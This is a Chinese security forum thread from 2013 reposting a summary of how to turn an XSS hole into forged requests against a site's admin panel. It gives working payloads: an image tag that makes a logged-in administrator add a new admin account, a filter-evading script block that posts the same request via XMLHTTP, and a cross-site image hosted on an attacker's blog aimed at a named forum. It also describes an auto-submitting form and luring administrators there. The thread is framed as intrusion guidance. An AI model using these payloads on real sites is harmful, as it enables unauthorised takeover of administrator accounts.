查看: 9988|回复: 1

xss漏洞跨站小结[转载文章]

[复制链接]
  • TA的每日心情

    2024-10-14 20:54
  • 签到天数: 2 天

    [LV.1]初来乍到

    发表于 2013-3-2 19:14:56 | 显示全部楼层 |阅读模式
    一般发现一个xss漏洞后要做的基本上就是这些:


    1.  伪造请求  使用$_REQUEST或$_GET

    首先我们要找找该网站使用的程序是不是在网上能找到源码,如果能找到源码的话,就去分析后台管理员更改密码或者增加管理员的页面,然后分析管理员使用的是不是$_REQUEST接收参数,如果是的话,我们使用该XSS漏洞构造一个请求,比如前台发表留言中可以使用HTML代码,那么我们就嵌入一个IMG元素:
    <img src="/admin/admin_add.asp?name=xxx&psd=yyy" />
    当管理员登录管理后台后看到包含img的页面的时候,就伪造了一个增加后台管理员的请求,而该请求是由管理员发出的,所以顺利的增加了一个新的管理员。

    如果是可视文本编辑器,可以尝试使用输入:
    http://www.123.com/xxx.jpg"word-break: break-all; color: rgb(0, 0, 0); font-family: 宋体, Arial, Tahoma, Verdana, Helvetica, sans-serif; font-size: 12px; line-height: 25px;">这样最终会构造出:
    <img src="http://www.123.com/xxx.jpg" />
    总之要举一反三。



    2. 伪造请求  使用$_POST

    当后台接收增加管理员或更改管理密码的变量时使用的是$_POST方式,那么第一种方法无效,我们视情况而定,如果没有过滤<script>,我们可以通过ajax方式来伪造请求,如:
    <sc/*xss*/ript type="text/javascript">
    var aj = new ActiveXObject("MSXML2.XMLHTTP.3.0");
    aj.open("POST", "/admin/admin_add.asp", false);
    var postdata = 'name=xxx&psd=yyy';
    aj.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
    aj.send(postdata);
    </scr/*xss*/ipt>
    /*xss*/是HTML注释,用来绕过简单的对script代码块的过滤。



    3. 跨站伪造请求 使用$_GET 或 $_REQUEST

    与第一种伪造请求的方式相似,但是第一种伪造请求是利用站内的xss漏洞进行的,而跨站伪造请求,是站外发起的,比如我在我的博客的首页放了这样一个图片
    <img src="http://www.sckxz.org/admin/admin_add.asp?user=xxx&psd=yyy"/>
    然后我跑到dvbbs上发帖子,“勾引”动网论坛的管理员来我的博客,如果动网论坛的管理员已经登录了他的管理后台,然后使用共享进程的浏览器(目前基于ie内核的myie,maxton等等还有firefox都是共享进程的)来访问我的博客,那么他的后台就会被加入一个用户。


    4.跨站伪造请求 使用$_POST(0day)

    如果入侵目标的管理后台使用的是$_POST方式来接受变量,那么我们无法在我们的网站跨站使用ajax的post方式提交数据过去,因为ajax是无法跨域的。

    但是我们可以在我们的网站放一个form,里面填写好数据,form的action为要利用的有漏洞的页面,然后当有人打开该页面的时候,我们就用js控制该form进行submit,ajax虽然不能跨域,但向域之外的地址提交form总是可以的。


    总之,第3,4种方法成功几率要小一些,因为我们要想办法让已经登录自身后台的管理员,使用共享session的浏览器访问我们的伪造请求的页面,有一点社会工程学的技术含量。
    回复

    使用道具 举报

  • TA的每日心情
    开心
    2015-5-31 21:29
  • 签到天数: 1 天

    [LV.1]初来乍到

    发表于 2013-3-3 00:18:17 | 显示全部楼层
    最近为这个弄得晕头转向
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-11-24 03:45 , Processed in 0.022958 second(s), 12 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部